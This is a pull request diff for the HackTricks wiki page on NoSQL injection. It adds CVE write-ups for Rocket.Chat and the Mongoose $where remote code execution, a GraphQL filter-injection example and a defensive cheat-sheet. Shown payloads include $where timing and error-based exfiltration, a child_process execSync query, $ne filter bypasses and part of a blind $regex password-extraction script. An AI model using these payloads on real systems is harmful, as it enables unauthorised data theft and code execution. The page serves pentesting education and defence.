Merge pull request #1271 from HackTricks-wiki/research_update_src_pentesting-web_nosql-injection_20250811_082826

Research Update Enhanced src/pentesting-web/nosql-injection....

src/pentesting-web/nosql-injection.md

@@ -4,7 +4,7 @@
 
 ## Exploit
 
-In PHP you can send an Array changing the sent parameter from _parameter=foo_ to _parameter\[arrName]=foo._
+In PHP you can send an Array changing the sent parameter from _parameter=foo_ to _parameter[arrName]=foo._
 
 The exploits are based in adding an **Operator**:
 
@@ -134,6 +134,44 @@ Inject `throw new Error(JSON.stringify(this))` in a `$where` clause to exfiltrat
 { "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
 ```
 
+## Recent CVEs & Real-World Exploits (2023-2025)
+
+### Rocket.Chat unauthenticated blind NoSQLi – CVE-2023-28359
+Versions ≤ 6.0.0 exposed the Meteor method `listEmojiCustom` that forwarded a user-controlled **selector** object directly to `find()`. By injecting operators such as `{"$where":"sleep(2000)||true"}` an unauthenticated attacker could build a timing oracle and exfiltrate documents. The bug was patched in 6.0.1 by validating selector shape and stripping dangerous operators. 
+
+### Mongoose `populate().match` `$where` RCE – CVE-2024-53900 & CVE-2025-23061
+When `populate()` is used with the `match` option, Mongoose (≤ 8.8.2) copied the object verbatim *before* sending it to MongoDB. Supplying `$where` therefore executed JavaScript **inside Node.js** even if server-side JS was disabled on MongoDB:
+
+```js
+// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
+Post.find()
+    .populate({ path: 'author', match: req.query.author });   // RCE
+```
+
+The first patch (8.8.3) blocked top-level `$where`, but nesting it under `$or` bypassed the filter, leading to CVE-2025-23061. The issue was fully fixed in 8.9.5, and a new connection option `sanitizeFilter: true` was introduced.
+
+### GraphQL → Mongo filter confusion
+Resolvers that forward `args.filter` directly into `collection.find()` remain vulnerable:
+
+```graphql
+query users($f:UserFilter){
+  users(filter:$f){ _id email }
+}
+
+# variables
+{ "f": { "$ne": {} } }
+```
+
+Mitigations: recursively strip keys that start with `$`, map allowed operators explicitly, or validate with schema libraries (Joi, Zod).
+
+## Defensive Cheat-Sheet (updated 2025)
+
+1. Strip or reject any key that starts with `$` (`express-mongo-sanitize`, `mongo-sanitize`, Mongoose `sanitizeFilter:true`).
+2. Disable server-side JavaScript on self-hosted MongoDB (`--noscripting`, default in v7.0+).
+3. Prefer `$expr` and aggregation builders instead of `$where`.
+4. Validate data types early (Joi/Ajv) and disallow arrays where scalars are expected to avoid `[$ne]` tricks.
+5. For GraphQL, translate filter arguments through an allow-list; never spread untrusted objects.
+
 ## MongoDB Payloads
 
 List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
@@ -218,6 +256,7 @@ url = "http://example.com"
 headers = {"Host": "exmaple.com"}
 cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
 possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
+
 def get_password(username):
     print("Extracting password of "+username)
     params = {"username":username, "password[$regex]":"", "login": "login"}
@@ -251,9 +290,10 @@ for u in get_usernames(""):
 ```
 
 ## Tools
-
 - [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
 - [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
+- [https://github.com/ImKKingshuk/StealthNoSQL](https://github.com/ImKKingshuk/StealthNoSQL)
+- [https://github.com/Charlie-belmer/nosqli](https://github.com/Charlie-belmer/nosqli)
 
 ## References
 
@@ -262,8 +302,7 @@ for u in get_usernames(""):
 - [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
 - [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
 - [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
+- [https://nvd.nist.gov/vuln/detail/CVE-2023-28359](https://nvd.nist.gov/vuln/detail/CVE-2023-28359)
+- [https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900)
 
 {{#include ../banners/hacktricks-training.md}}
-
-
-